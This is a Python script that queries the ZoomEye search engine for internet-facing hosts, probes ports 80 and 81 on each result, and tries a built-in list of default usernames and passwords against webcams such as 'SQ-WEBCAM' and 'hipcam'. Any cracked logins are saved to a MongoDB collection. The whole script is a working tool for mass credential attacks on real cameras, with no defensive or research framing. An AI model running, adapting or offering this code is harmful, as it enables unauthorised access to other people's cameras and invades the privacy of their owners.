import json
import time as TIMES
import calendar
import requests as r
from datetime import *
from optparse import OptionParser as opp
import pymongo
import socket
from zom_db_update import *

socket.setdefaulttimeout(5)
PAGE = "https://api.zoomeye.org"
parser = opp()
parser.add_option("-t", type="string", dest="TYPES",
                  default="host", help="search info's type")
parser.add_option("-w", type="string", dest="WORD",
                  default="", help="search keywords")
parser.add_option("-d", type="string", dest="DB",
                  default="test", help="database")
parser.add_option("-c", type="string", dest="COL",
                  default="test", help="collection")
parser.add_option("-u", type="string", dest="USR",
                  default="", help="zoomeye username")
parser.add_option("-p", type="string", dest="PWD",
                  default="", help="zoomeye password")
parser.add_option("-l", type="string", dest="MONGO_LINK",
                  default="", help="mongodblinkurl")
parser.add_option("-o", type="string", dest="PROXY",
                  default=None, help="online proxy")
(opt, args) = parser.parse_args()

query_facet = {
    "web": ["webapp", "component", "framework", "frontend", "server", "waf", "os", "country", "city"],
    "host": ["app", "device", "service", "os", "port", "country", "city"]
}
ports = [81, 80]


Cams = {"SQ-WEBCAM":{"method":"form","type":"post","data":"","check":"headers|Set-Cookie|webcamPWD=OtherCookie000"},
        "hipcam":{"method":"basicauth","check":"status|200"}
}


def get_auth():
    _authuser = ["admin", "user"]
    _authpass = ["123456", "user", "admin", "password", "12345"]
    for _u in _authuser:
        for _p in _authpass:
            yield (_u, _p)


def SCK_Test():
    _status = 0
    while True:
        _ip, _port = yield _status
        _NT = socket.socket()
        try:
            _NT.connect((str(_ip), int(_port)))
            _status = _port
        except Exception as e:
            _status = 0
        finally:
            _NT.close()



def DB_link():
    _con = pymongo.MongoClient(eval(f"r'{opt.MONGO_LINK}'"))
    _dbs = _con.database_names()
    print(_dbs)
    if opt.DB not in _dbs:
        print(f"| {opt.DB} created")
    _db = _con[opt.DB]
    return _db


def COL_save():
    _db = DB_link()
    _db[opt.COL].ensure_index("ip", unique=True)
    _back = None
    while True:
        _data = yield _back
        _ip = _data["ip"]
        _auth = _data.get("webcam", {})
        try:
            _db[opt.COL].insert(_data)
        except pymongo.errors.DuplicateKeyError:
            try:
                if _auth:
                    _db[opt.COL].update(
                        {"ip": _ip}, {"$set": {"webcam": _auth}})
            except Exception as e:
                _back = f"| {e}"
        except Exception as e:
            _back = f"| {e}"
        finally:
            _back = f"| {_ip}  {_auth}"


def COL_DEL(_method):
    _db = DB_link()
    if _method == "del all":
        _db[opt.COL].remove()


def COL_show():
    _db = DB_link()
    print("| NUMS: %s" % _db[opt.COL].find().count())
    for _item in _db[opt.COL].find():
        print(_item)


def month_restdays():
    _today = datetime.today()
    _m = _today.month
    _y = _today.year
    _d = _today.day
    _monthrange = calendar.monthrange(_y, _m)
    return _monthrange[1] - _d


def login(usr, pwd):
    _res = r.post(f"{PAGE}/user/login",
                  data=json.dumps({"username": usr, "password": pwd}))
    if _res.status_code == 200:
        return _res.json().get("access_token")
    else:
        exit(_res.json().get("message"))


def search_session(_token):
    _s = r.Session()
    _s.headers = {"Authorization": f"JWT {_token}"}
    return _s


def resources(_s):
    _res = _s.get(f"{PAGE}/resources-info")
    return _res.json()


def search(_s):
    _url = f"{PAGE}/{opt.TYPES}/search"
    _json = None
    while True:
        _page = yield _json
        _res = _s.get(_url, params={"query": opt.WORD, "page": int(_page),
                                    "facets": ",".join(query_facet[opt.TYPES])})
        if _res.status_code == 200:
            _json = _res.json()


def main():
    _Token = login(opt.USR, opt.PWD)
    _s = search_session(_Token)
    _h = search(_s)
    _md = COL_save()
    _SK = SCK_Test()
    _BK = Broker({opt.PROXY.split('://')[0]: opt.PROXY} if opt.PROXY else None,4)
    list(map(next, [_BK, _SK, _h, _md]))
    _counts = resources(_s).get(
        "resources", {'host-search': 0, 'web-search': 0})
    print(f"| {_counts}")
    _optwords = "%s-search" % opt.TYPES
    if not opt.WORD:
        exit("word error")
    elif _optwords in _counts.keys():
        if int(_counts[_optwords]) > 0:
            for _i in range(1, int(_counts[_optwords]) + 1):
                _res = _h.send(_i)
                if _res:
                    print(f"| Page: {_i}", type(_res))
                    for _item in _res.get("matches"):
                        _ip = _item.get("ip")
                        for _port in ports:
                            if _SK.send((_ip, _port)):
                                for _auth in get_auth():
                                    if _BK.send((f"http://{_ip}:{_port}", _auth,opt.WORD)):
                                        _item["webcam"] = {"port": str(
                                            _port), "auth": list(_auth)}
                                        break
                                break
                        _mdres = _md.send(_item)
                        print(_mdres)
                else:
                    continue
        else:
            print("| RESOURCES ERROR")
            TIMES.sleep(month_restdays() * 24 * 3600)
    else:
        exit("type error")


if __name__ == '__main__':
    while True:
        try:
            main()
        except Exception as e:
            print(e)
        except KeyboardInterrupt:
            exit()
